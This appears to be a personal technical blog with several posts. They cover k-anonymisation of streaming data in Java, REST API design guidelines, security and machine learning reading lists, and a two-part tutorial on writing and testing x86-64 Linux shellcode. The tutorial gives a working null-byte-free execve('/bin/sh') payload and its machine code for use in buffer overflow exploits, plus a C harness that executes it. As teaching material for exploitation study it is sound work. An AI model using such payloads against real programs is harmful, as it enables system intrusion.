Anonymisation

K-Anonymisation on Streaming Data

The text of the exercise is the following: Imagine a stream of records arriving at a rate of one per second. For simplicity the records contain just one variable, a double. The goal is to generalise this variable to achieve a k-anonymity of 5 i.e., no generalised unique output value can appear fewer than 5 times. The effectiveness of the solution can be measured by its impact on data distortion and latency, with the aim of minimising both: Distortion is a measure of how close the generalised values are to the original ones. Latency is a measure of delay between ingesting the input record and publishing the generalised value. The solution should implement the StreamingKFilter interface that accepts InputRecords and transforms them into generalised OutputRecords. Method calls to the StreamingKFilter are strictly single threaded; as such the solution is expected to be single-threaded only. The code of the exercise and the tests are here. Under /src/test you will find two test suites for the solution. In order to run them, instantiate your filter in the​ CandidateFilterFactory.getStreamingKFilter()​ method. The project source code (solution and tests) can be built using Maven. Additional info: K-Anonymity A release of data is said to have the k-anonymity property if the information for each record contained in the release cannot be distinguished from at least k - 1 records whose information also appear in the release. My solution The StreamingKFilter interface contains two methods: void processNewRecord(InputRecord input); Collection<OutputRecord> returnPublishableRecords(); I implemented the processNewRecord as: @Override public void processNewRecord(InputRecord input) { Integer firstElementTime, lastElementTime, elapsedTime; this.inputBuffer.add(input); // calculating elapsed time firstElementTime = this.inputBuffer.get(0).getTime(); lastElementTime = this.inputBuffer.get(this.inputBuffer.size()-1).getTime(); elapsedTime = firstElementTime - lastElementTime; // update the current time this.currentTime = input.getTime(); // if enough records are received then process the block if (this.inputBuffer.size() >= this.blockSize) generateOutputRecords(); // if enough time is elapsed then process the block if (elapsedTime >= this.maxWaitTime && this.inputBuffer.size() >= this.K) { generateOutputRecords(); } } This function will trigger the generateOutputRecords (explained later on) in two circumstances: when there is enough input records received, controlled by the variable blockSize, in line 16. when enough time has passed, controlled by the variable maxWaitTime (and the minimum number of records to obtain k-anonymity has been received), in line 20. The input records are stored in the inputBuffer, in line 5. The function returnPublishableRecords is implemented as: @Override public Collection<OutputRecord> returnPublishableRecords() { Collection<OutputRecord > outputs = this.outputBuffer; this.outputBuffer = new ArrayList<OutputRecord >(); return outputs; } This function returns the records stored in the outputBuffer, filled by the function generateOutputRecords. The main function generateOutputRecords is implemented as: private void generateOutputRecords() { int size; double distortion, anonymizedValue, distortion_min = Double.MAX_VALUE; this.inputBuffer.sort(Comparator.comparing(InputRecord::getRawValue)); while (this.inputBuffer.isEmpty() == false) { // initialize the variables used in the search distortion_min = Double.MAX_VALUE; size = this.K -1; do { // process 'size' number of records size += 1; // process 'size' number of objects, if the remaining are less than this.K then process them all if (size > (this.inputBuffer.size() - this.K) ) size = this.inputBuffer.size(); // compute the distortion and the anonymized value on the records anonymizedValue = getAnonValue (this.inputBuffer.subList(0, size)); distortion = getDistortion(this.inputBuffer.subList(0, size), anonymizedValue); // if the distortion is decreasing when adding records then keep adding elements // otherwise output them if (distortion_min > distortion) distortion_min = distortion; else break; } while(size < this.inputBuffer.size()); // add the records to the output buffer addOutputRecords(this.inputBuffer.subList(0, size), anonymizedValue); // continue to process the other records in the input buffer this.inputBuffer = this.inputBuffer.subList(size, this.inputBuffer.size()); } // Clear the input buffer this.inputBuffer = new ArrayList<InputRecord>(); } In line 5, the inputBuffer is sorted to place similar values together. In line 12-33, the inputBuffer is chunked in pieces to minimize the distortions of each individual piece. Each chunk includes at least K elements and one more element will included iteratively until the distortion doesn’t decrease anymore. When the distortion stop decreasing then the chunk is removed from the input buffer and the output records are generated with the addOutputRecords function. This process will continue until there are no more records in the inputBuffer. Line 18-19 will make sure that even the last chunk has at least k elements to keep the k-anonymity property. (In line 23, the distortion is computed with the same function used in the measures package.) Trade-off Between Distortion and Latency The variable blockSize can be used to control the distortion and latency. Increasing the variable blockSize will decrease the distortion and increase latency. Decreasing the variable blockSize will increase the distortion and decrease latency. The variable maxWaitTime will top the latency, if necessary. You can download my solution here.

API

Web API Definition Guidelines

Web APIs are patterns of HTTP requests/responses used to interact with a remote system. APIs are meant to be used by programmers and for this reason they needs to be easy to understand and use as well as intuitive. Moreover, programmers will come with inherited knowledge base about what APIs looks like and what they do and they do not wants to learn a complete new language just for testing few new functionalities but they will most likely move to another technology that is more friendly and easy to use. REST vs RESTful? REST is the name given to the architectural pattern that defines means for clients and servers to exchange data. It is defined in a PhD disseration by Dr Roy Fielding in 2000 (but it is not a standard). As such, REST defines constraints on the elements of the architecture, for example: A REST application have a server that manages application data and state. The server communicates with a client that handles the user interactions (to change wording). servers don’t maintain any client state. Clients manage their application state. Their requests to servers contain all the information required to process them. (to change wording). (These are just 2 examples.) REST is the architectural pattern proper of HTTP. It was defined after the definition of HTTP that’s why the terms are misinterpreted to be the same. When we talk about RESTful we refer to services that are based on REST architecture style. RESTful is not clearly defined even if it uses defined standards such as HTTP, URI and JSON. Introduction In this article, I am trying to summarise the best practices that have been captured in two books by a leader player in this field: Web API Design Web API Design: The Missing Link Therefore I will make extensive use of their examples. We need to remember that REST APIs follow a data-oriented approach that focus on the objects they interact with (rather than the function to manipulate such objects). REST API focuses on the object they expose rather than the functions to manipulate the object. So for instance when you ask for an object you can refer to the objects as /objects (e.g., /dogs). In contrast you can have function-oriented API e.g., /getDogs. The link 0 When defining APIs, it’s always necessary to publish at least one well-known URL. This is the minimum amount of URL that a developer needs to know in order to get started. It should be possible to explore the APIs only by using this one URL. When you request a URL you will receive a representation of the resource requested. The most supported languages to represent a resource is JSON. If you request “https://dogtracker.com” you will receive it’s representation as: { "self": "https://dogtracker.com/", "kind": "DogTracker", "persons": "https://dogtracker.com/persons", "dogs": "https://dogtracker.com/dogs" } The representation contains a URL to itself and other URLs to other collections of objects (dogs and persons in this example). When querying a collection you can receive its representation as: { "self": "https://dogtracker.com/dogs", "kind": "Collection", "contents": [ { "self": "https://dogtracker.com/dogs/12344", "kind": "Dog", "name": "Fido", "furColor": "white" }, { "self": "https://dogtracker.com/dogs/12345", "kind": "Dog", "name": "Rover", "furColor": "brown" } ] } The list of objects inside of the “contents” its a mere list of the objects requested. It’s common to name a collection with the plural name of the requested objects. E.g.: the collection “dogs” represent the a collection of “dog” objects. To query a collection for a particular object, it is traditionally done following two different approaches: https://example.com/objects/{objectID} https://example.com/search?type=object&id={objectID} This structure enables a simple and intuitive tree navigation that expresses relations with other objects, e.g.: https://example.com/persons/12345/dogs/09876 Without saying anything this URL we are requesting the dog 09876 among the ones linked to person 12345. Furthermore, because many application developers consuming the API find the first style more readable and intuitive. API developers implementing the API usually find the first style easier to implement. For many people, the first style of query URL does not imply a commitment to a comprehensive query capability, but they are more likely to interpret the second style of query URL to mean that all combinations of query parameters and values are supported. This style of query URL can easily express graph traversal queries that are difficult to express in the query parameter style. Many times instead, it is difficult to request objects following a hierarchical structure. In that case you can use: https://example.com/persons/5678/dogs?color=red&state=running&location=park Identify a resource All resources needs to have a link that can be saved and stored by the client to be used later on therefore it must be as much stable as possible. For example, resources can be identified by human-friendly identifiers as: https://dogtracker.com/person/JoeMCarraclough It is clear that if the person requested change name (and therefore its URL) all the reference will break. Resources can be also identified by machine-generated identifiers: https://dogtracker.com/persons/e9cdcf7a-25b3-11e5-34363bd0ac10 In this case the URL is not human-friendly not ideal for developers. A good solution is to use machine generated URLs to identify a specific resource and give to that resource an alias property human-friendly that points to it. E.g.: { "self": "https://dogtracker.com/person/e9cdcf7a-25b3-11e5-34363bd0ac10", "id": "e9cdcf7a-25b3-11e5-34363bd0ac10", "kind": "Human", "name": "LasJoeMCarraclough", "alias": "https://dogtracker.com/persons/JoeMCarraclough", } When referring to this resource you have to use the permanent link, e.g.: { "id": "12345678", "kind": "Dog", "name": "Lassie", "furColor": "brown", "owner": "https://dogtracker.com/persons/e9cdcf7a-25b3-11e5-34363bd0ac10" } The permanent link to the person is https://dogtracker.com/persons/e9cdcf7a-25b3-11e5-34363bd0ac10. This link implies that the kind person cannot change. This is reasonable assumption for humans, but it might be not true for other entities. Resource fields A good example of resource is: { "self" : "https://dogtracker.com/persons/34363bd0ac10", "id" : "e9cdcf7a-25b3-11e5-34363bd0ac10", "kind" : "Human", "name" : "LasJoeMCarraclough", "alias" : "https://dogtracker.com/person/JoeMCarraclough", "dogs" : "https://dogtracker.com/persons/34363bd0ac10/dogs", "actions": "https://dogtracker.com/persons/34363bd0ac10/actions" } Including a kind property helps clients recognize whether or not this is an object they know how to process. Including a self property makes it explicit what web resource’s properties we are talking about without requiring contextual knowledge. E.g.: the resource can be retrieved by directly performing a GET request. Including a actions property is needed to modelling the action that the resource can perform. A POST request can be performed to request a specific action on a resource followed by the details of such action. It is possible also to specify the actions that can be performed to a resource with different fields, e.g.: { "pauseRequests": "https://dogtracker.com/persons/34363bd0ac10/actions", "stopRequests" : "https://dogtracker.com/persons/34363bd0ac10/actions" } Note that all the action fields point to the same URL. The name of the fields can follow either camelCase or snake_case equivalently but they need to be consistent. When an object representation contains too many fields it is possible to request only a subset of them as: Adding, removing, changing resource When you model your URIs after resources and use HTTP verbs you make your API predictable. Once developers know how you defined your resources, they can almost predict what the API looks like. In REST, adding a resource is usually expressed with a POST to the collection that have these objects, e.g.: POST https://dogtracker.com/persons/34363bd0ac10/dogs This request indicates the intention to add a dog to the person 34363bd0ac10. A GET request is used to express the intention of retrieving the resource details. A PUT request is used to completely replace the resource we are pointing. A PATCH request instead is used to alter the value of a particular field. What to do for versioning? We all understand that at some point in time, APIs will change. If you can change your API in a backward-compatible ways then this is the way to go. When changes are breaking the backward-compatibility then you might want to add a version in the requesting URL as: https://dogtracker.com/v2/persons/98765432 When requesting such URL, the representation returned can include the version as well: { "self" : "https://dogtracker.com/v2/persons/34363bd0ac10", "id" : "e9cdcf7a-25b3-11e5-34363bd0ac10", "kind" : "Human", ... Error handling An API is a shield that hide the computation performed behind it. Remember that programmers learn by trial and error, therefore the importance of messages is extremely valuable. For example, when a request is created the response can include the Location header to express where is it located, e.g. HTTP/1.1 201 Created Location: https://dogtracker.com/dogs/1234567 When a method is not permitted: HTTP/1.1 405 Method Not Allowed Allow: GET, DELETE, PATCH Learning the combinations of status codes with their matching headers and the scenarios in which they are used is important. A programmer can use her knowledge of the web to navigate throw the errors to succeed. Extreme summary * REST API focuses on objcets: nouns are good, verbs are bad * https://example.com/objects/{objectID} * https://example.com/objects?property1=value1&property2=value2 1. Nouns are good, verbs are bad This does not matter much because the details will be mostly used by automatic program that do not care about the format. For the query URLs instead the format should be easily human readable because they will be used by the developers. -- Additional Resources on REST https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm https://en.wikipedia.org/wiki/Representational_state_transfer https://blog.ndepend.com/rest-vs-restful/

ASM

Build Your Own Shellcode

A shellcode is a piece of compiled code that, when executed, it is going to launch a shell. It is typically given as input to a program to be eventually executed. In this article, I am going to: Introduce background information to understand the overall process Create an assembly program that invoke an exit system call (exitcode) Create an assembly program that invoke a shellcode Background information The shellcode is a piece of code that operates on the lowest level of the system architecture, therefore some important details are architecture dependent. In order to be run on a target system we need to know low level system details of the target architecture. System call A system call is a way to invoke a function that is executed by the kernel. In Linux there are several way to invoke a system call, the most common ones are either by int 0x80 or by syscall. The int 0x80 method is the legacy way of invoking a system call. It is available both on x86 and x64 architectures but in modern architecture should be avoided because it is slower. The syscall is the default way of invoking a system call only available on x64 architectures. To invoke a syscall we need to know how interact with the system because each architecture has its own way to transition to kernel mode. On Ubuntu, the man page is a good place to start: $ man syscall. Here, you can see that each system call has a number associated to it. Under “Architecture calling conventions”, in the first table you can see that the x86-64 architecture requires the system call number to be placed in the rax register and the return value will be placed again in rax. In the second table, you can see in which register you need to place the parameters passed as arguments. To invoke a system call under the x86-64 architecture you need to place the parameters in rdi, rsi, rdx, r10, r8, r9 (in this order). If a system call needs more than 6 parameters you’ll have to place the other parameters on the stack. Now we need to know what are the numbers associated to the system calls. These numbers are defined usually located in the unistd_64.h file for 64 bit architecture (or in unistd_32.h file for 32 bit architecture). In Ubuntu 18.04 64 bit, the system call numbers for 64 bit architecture are in: /usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_64.h. (For 32 bit architecture are in: /usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_32.h.) Build Simple Example: exitcode In this example, we are going to build an assembly program to invoke the exit system call. Let’s start by looking at the manual $ man exit. (By doing $ man exit you are actually looking at the C function wrapper around the system call but the semantic and order of the parameters are kept.) This function terminates the running program and returns the integer passed as first parameter. To find the number of the exit system call we need to look at the unistd_64.h file. (Looking at the unistd_64.h file, the exit system call number is 60.) The system call number needs to place in the rax register. Now let’s write a simple assembly program with to invoke the exit system call: ; file: exit64.asm global _start section .text _start: mov rax, 0x3c mov rdi, 0x05 syscall In line 6, 0x3c is the hexadecimal number for the decimal number 60 i.e., the exit system call number. In line 7, 0x05 is the 1st parameter of the exit system call (i.e., the value returned when the program ends). Let’s now compile the code as: $ nasm -f elf64 -o exit64.o exit64.asm $ ld -o exit64 exit64.o If we execute the exit64 we can now see that the return value is indeed 5: $ ./exit64 $ echo $? 5 To test this program we can place its machine code into a test program (as in How to Test a Shellcode) To extract the machine code generated we can observe the decompiled code $ objdump -M intel -d exit64 exit64: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: b8 3c 00 00 00 mov eax,0x3c 400085: bf 05 00 00 00 mov edi,0x5 40008a: 0f 05 syscall $ The hexadecimal numbers in line 9, 10 and 11 (after the address) are the machine code generated from the assembly instructions that are shown in the same line. This is what you want to copy to the test program, i.e.: b8 3c 00 00 00 bf 05 00 00 00 0f 05. If you want to try to run this exitcode in a C test program follow How to Test a Shellcode. To enter an hexadecimal string into a C string use \x before the number, therefore the exitcode will be \xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05. What happen if you try to give this string in input to a program that has a buffer overflow vulnerability? Will this work? Try it on Basic Stack-Based Buffer Overflow) It will not work. Why? To give this string as input to a program we need few more things to take into account. In C a strings end with the null byte i.e., \0 i.e., \x00. The functions that interact with the user to input data stop when they reach the end of the string. (see man page for ) We can immediately see that the exit code contains a lot of null bytes and therefore the complete code will not be copied entirely by those functions. In circumstances the null bytes are not a problem but this is dependent on the input method used by a program. How to avoid null bytes? Let’s revise the exitcode: ; file: exit64_nnb.asm global _start section .text _start: mov al, 0x3c xor rdi,rdi inc di inc di inc di inc di inc di syscall With objdump we can see that this assembly code does not produce any null bytes: objdump -M intel -d ./exit64_nnb ./exit64_nnb: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: b0 3c mov al,0x3c 400082: 48 31 ff xor rdi,rdi 400085: 66 ff c7 inc di 400088: 66 ff c7 inc di 40008b: 66 ff c7 inc di 40008e: 66 ff c7 inc di 400091: 66 ff c7 inc di 400094: 0f 05 syscall This is the code that we are able to give in input to a function that reads input data. Build the shellcode The easiest way to launch a shell is to invoke a the execve system call with the appropriate parameters (see $ man execve). The syscall execve wants 3 parameters. The first points to a string that is the path of the program that needs to be executed. The second parameter is an array of string pointers that point to the command line arguments of the program passed as first parameter. The third parameter is an array of environment variables as string. We want to launch the shell \bin\sh with no arguments. Let’s see the code that opens a shell by invoking an execve: ; file: execve64.asm global _start section .text _start: xor rdi,rdi xor rsi,rsi xor rdx,rdx mov rdi,0x68732f6e69622f2f shr rdi,0x08 push rdi push rsp pop rdi push 0x3b pop rax syscall As described in the Background Information, the system call number needs to be placed in rax, while the parameters in rdi, rsi and then rdx. To correctly fill rdi with the first parameter we need a pointer to the string \bin\sh. This is achieved in line 10, 11 and 12. In line 10, I am moving into rdi the value 0x68732f6e69622f2f. This number is the hexadecimal equivalent of the string hs/nib//. This is the reverse string of //bin/sh (i.e., a shell string). Why the reverse string? If the architecture is little endian a number will be stored in a 8 bytes memory location starting to fill the smallest part of the memory first. In this way the hexadecimal byte 0x68 (of the value 0x68732f6e69622f2f) will be stored in the right most part of a memory, as: After executing line 12, the rsp will point to the first byte of the string, as: (You can see the byte order of your architecture with the command $ lscpu.) In line 11, I am shifting the string by 8 bits to the right. Why? Because this will fill the left hand side of the rdi register with zeros. Why this matter? Because every string in C is null terminated (i.e., terminated by a zero byte). I could have used the value of 0x68732f6e69622f00 in line 10 but this will generate a null byte in the machine code that is better to avoid if we aim to use this code as a string. In line 12, I am pushing the shell string to the stack. Why? On a running program, after executing line 12, the stack pointer register rsp will point to the shell string that is in the stack. For this reason, in line 13 I am saving the address of the stack pointer (rsp) by pushing it to the stack and, in line 14, I am popping out this address to the rdi register (i.e., the first parameter of the execve system call). In line 6,7 and 8 I am cleaning the registers (i.e., setting them to zero). In this way the second and third parameters are already set because we do not need to invoke the shell with any arguments and we do not need environment variables in this case. In line 17 and 18 I am placing the value 0x3b to the register rax because 0x3b is the value of the execve system call (see how to find this number in Background Information). Now, the last thing we need to do is to compile the code and extract the machine code generated, as: $ nasm -f elf64 -o execve64.o execve64.asm $ ld -o execve64 execve64.o $ objdump -M intel -d ./execve64 ./execve64: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: 48 31 ff xor rdi,rdi 400083: 48 31 f6 xor rsi,rsi 400086: 48 31 d2 xor rdx,rdx 400089: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f 400090: 2f 73 68 400093: 48 c1 ef 08 shr rdi,0x8 400097: 57 push rdi 400098: 54 push rsp 400099: 5f pop rdi 40009a: 6a 3b push 0x3b 40009c: 58 pop rax 40009d: 0f 05 syscall To test this program we can place its machine code into a test program (as in How to Test a Shellcode). As we can see, there are no null bytes in the generated machine code, therefore this shellcode is suitable to be used as input in a buffer overflow, try it out on Basic Stack-Based Buffer Overflow. There are several ways to generate a shellcode and this one is just an example. The challenge in shellcoding is to write the smallest possible shellcode. This is the end of this shellcoding walkthrough. I hope it was helpful, additional resources follows. Additional resources More to read about syscall: https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux More to read about exit system call: https://en.wikipedia.org/wiki/Exit_(system_call)

How to Test a Shellcode

A shellcode is a piece of compiled code that is typically given as input to a program that, when executed, is going to launch a shell (see Build Your Own Shellcode). To test a shellcode we are going to used the following code: // filename: test_shellcode.c char *code = "<shellcodegoeshere>"; int main() { void (*shell)(); shell=(void (*)())code; (*shell)(); } In line 2, we are going to copy the shellcode that we want to test. In line 5, we are declaring the variable shell as a pointer to a function that returns void and that takes no arguments. In line 6, we are casting the string pointer code to the same type of the variable shell (i.e.: a function that returns void and that takes no arguments.) In line 7, we are calling the function pointed by the shell variable (passing no parameters). Once we filled the code variable with the shellcode (in line 1), we can compile the program and run it as: $ gcc -o test_shellcode test_shellcode.c $ ./test_shellcode In this way we can understand if the shellcode will work on the current system. To give a shellcode in input to a program in order to execute it we have to be careful about few more things as explained in Build Your Own Shellcode. Understanding the test program The content pointed by the variable code is going to be allocated in an executable portion of the memory layout. The command $ readelf -a ./test_shellcode gives a lot of information. Let’s try to brake it down for easy to digest. If we examine the symbol tables $ readelf -s ./test_shellcode we can see something like this: Symbol table '.symtab' contains 62 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000254 0 SECTION LOCAL DEFAULT 2 3: 0000000000000274 0 SECTION LOCAL DEFAULT 3 ......... 59: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@@GLIBC_2.2 60: 00000000000004d0 0 FUNC GLOBAL DEFAULT 10 _init 61: 0000000000201010 8 OBJECT GLOBAL DEFAULT 22 code In line 10, the symbol code is shown with a Value of 0000000000201010. The Value column represent the address of the symbol. The command $ readelf -S ./test_shellcode shows the header sections of the ELF file: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000000238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000000254 00000254 0000000000000020 0000000000000000 A 0 0 4 ...... [21] .got PROGBITS 0000000000200fc0 00000fc0 0000000000000040 0000000000000008 WA 0 0 8 [22] .data PROGBITS 0000000000201000 00001000 0000000000000018 0000000000000000 WA 0 0 8 [23] .bss NOBITS 0000000000201018 00001018 0000000000000008 0000000000000000 WA 0 0 1 Here, we can see that the .data section has an address of 0000000000201000 and a size of 0000000000000018. The symbol code is defined as the address of 0000000000201010 i.e., inside the .data section. We could have gather the same information by running $ objdump -t ./test: SYMBOL TABLE: 0000000000000238 l d .interp 0000000000000000 .interp 0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag 0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id 0000000000000298 l d .gnu.hash 0000000000000000 .gnu.hash 00000000000002b8 l d .dynsym 0000000000000000 .dynsym ...... 0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable 0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5 00000000000004d0 g F .init 0000000000000000 _init 0000000000201010 g O .data 0000000000000008 code In line 11, we can see that the symbol code is declared in the section .data. To know the permission that a section has, we can have to look at the Program Headers and at the Section to Segment mapping by running $ readelf -a ./test_shellcode: Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000001f8 0x00000000000001f8 R 0x8 INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000818 0x0000000000000818 R E 0x200000 LOAD 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000228 0x0000000000000230 RW 0x200000 DYNAMIC 0x0000000000000e00 0x0000000000200e00 0x0000000000200e00 0x00000000000001c0 0x00000000000001c0 RW 0x8 NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254 0x0000000000000044 0x0000000000000044 R 0x4 GNU_EH_FRAME 0x00000000000006d4 0x00000000000006d4 0x00000000000006d4 0x000000000000003c 0x000000000000003c R 0x4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10 GNU_RELRO 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000210 0x0000000000000210 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .dynamic .got .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .dynamic .got Here we can see that the .data section is mapped into the segment 03 (i.e., the 4th segment). Under the “Program Header” we can count the segments from the top; the first is PHDR segment, the second is INTERP and the fourth is LOAD with permission to read and to write (but not execute!). If we don’t have the execute permission, how come that we are able to run the code?? Let’s run the code in GDB to clarify this point (I am using GEF): Reading symbols from ./test_shellcode...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x61e gef➤ r Starting program: /home/pippo/ctf/lectures/build_shellcode/test Breakpoint 1, 0x000055555555461e in main () gef➤ info address code Symbol "code" is at 0x555555755010 in a file compiled without debugging. gef➤ x/1g 0x555555755010 0x555555755010 <code>: 0x5555555546c4 gef➤ x/1g 0x5555555546c4 0x5555555546c4: 0x5bf0000003cb8 In line 7, we are printing the address of the global variable code that is located 0x555555755010 (as shown in line 8). This variable is a pointer to the location of memory 0x5555555546c4 (line 10). To understand what are the permission of those different memory locations we can run gef➤ vmmap: gef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7fcd000 0x00007ffff7fcf000 0x0000000000000000 rw- 0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] (gef➤ vmmap is exactly the same of running cat /proc/{process_id}/maps, where process_id is the process of the debugged program. To obtain the process id of the currently running debugged program run info inferior.) In lines 3,4 and 5 we can see that there are 3 memory regions that map the test_shellcode executable with different permissions. We can see that the variable code (0x555555755010) is located in a memory region that has read and write permissions, in line 5. This is the same information that we obtained previously by reading the ELF file (with the readelf command). We can also see that the address pointed by the variable code (0x5555555546c4) is located in a memory region that has read and execute permission, in line 3. Alternative test code Sometimes over the Internet you see code like this: int main(){ char code[]= "\xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05"; void (*shell)(); shell=(void (*)())code; (*shell)(); //shell(); } Here, the code variable is declared inside the main function and it is NOT a pointer. This code WILL NOT work if compiled with: $ gcc -o test_shellcode ./test_shellcode.c The code will compile correctly but it will produce Segmentation fault when executed. The reason is simple, the code variable is located in the stack and since it is a non-executable memory region, if an instruction tries to execute from here the system will produce a segmentation fault. This code WILL work if compiled by passing the flag to make the stack executable: $ gcc -o test_shellcode -z execstack ./test_shellcode.c (Alternatively we can also use the execstack tool to change the executable stack flag of an ELF file.)

Books

Machine Learning Resources

An Introduction to Statistical Learning, with Application in R Gareth James, Daniela Witten, Trevor Hastie, Robert Tibshirani This is a great book to start learning. It offers a gentle introduction to machine learning guided by examples. It gives little for granted and the mathematical notation is not heavy. It is beginner/medium level. With the “The Elements of Statistical Learning, Data Mining, Inference, and Prediction” offers a complete description of most well-known machine learning methods. It doesn’t discuss about neural networks. The Elements of Statistical Learning, Data Mining, Inference, and Prediction Trevor Hastie, Robert Tibshirani, Jerome Friedman It is the natural continuation of the “An Introduction to Statistical Learning, with Application in R” book. This book is medium/advanced level. It offers more in depth explanation where the introduction book hide some details. The mathematical is sometimes heavy. It does cover neural network in a chapter. Petter Recognition and Machine Learning Christopher M. Bishop This is the bible of all the machine learning books. It starts from the fundamentals to build up. It offers both frequentist and bayesian views of probabilities. The explanations are well discussed and easy to follow. Deep Learning Ian Goodfellow, Yoshua Bengio, and Aaron Courville The books talks about neural networks and most of its variants. It starts from the theory needed to understand all the concepts before diving into neural networks. Given the interest in this topic and the practical applications that use this methods worldwide, it is a book worth read it. Among other, it covers convolutional, recurrent and recursive neural networks.

System Security Resources

This is a collection of system security resources that I found it interesting. Web Tangled Web, A Guide to Securing Modern Web Applications. Michal Zalewski A fantastic guide to understand the web and the browser. It starts from a historic view of the web and evolves to cover the modern world. Threat modeling Threat Modeling: Designing for Security Adam Shostack The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities Mark Dowd, John McDonald, Justin Schuh Secure coding Secure Coding in C and C++ Robert C. Seacord A fantastic guide to really understand behind the hoods of a C/C++ program. It covers the explanations of different vulnerabilities but it does not guide you to exploit them. It covers the discussion on different coding standard, e.g., C99, OpenBSD and C11. One of the best book I have read. Exploitation Hacking, the Art of Exploitation Jon Erickson One of the bibles on exploitation. It covers shellcode, assembly, the exploitation of different vulnerabilities as well as some network and crypto attacks. Although the examples are mainly for 32 bit architecture, it is still a very good source of knowledge. The Shellcoder's Handbook: Discovering and Exploiting Security Holes Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte -- Reverse engineering Practical Malware Analysis, The Hands-On Guide to Dissecting Malicious Software Michael Sikorski and Andrew Honig A good introduction -- Practical Binary Analysis, Build Your Own Linux Tools for Instrumenting, Analyzing, and Disassembling Binaries Dennis Andriesse It covers entirely the binary and its parts. It is a fairly new book and most of the examples are on 64 bit architecture. It covers also dynamic taint analysis and symbolic execution with practical tools. The IDA Pro Book, The Unofficial Guide to the World's Most Popular Disassembler Chris Eagle Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation Bruce Dang, Alexandre Gazet, Elias Bachaalany, Sébastien Josse Reversing: Secrets of Reverse Engineering Eldad Eilam

C

Format String Vulnerability

TODO

Building Houses

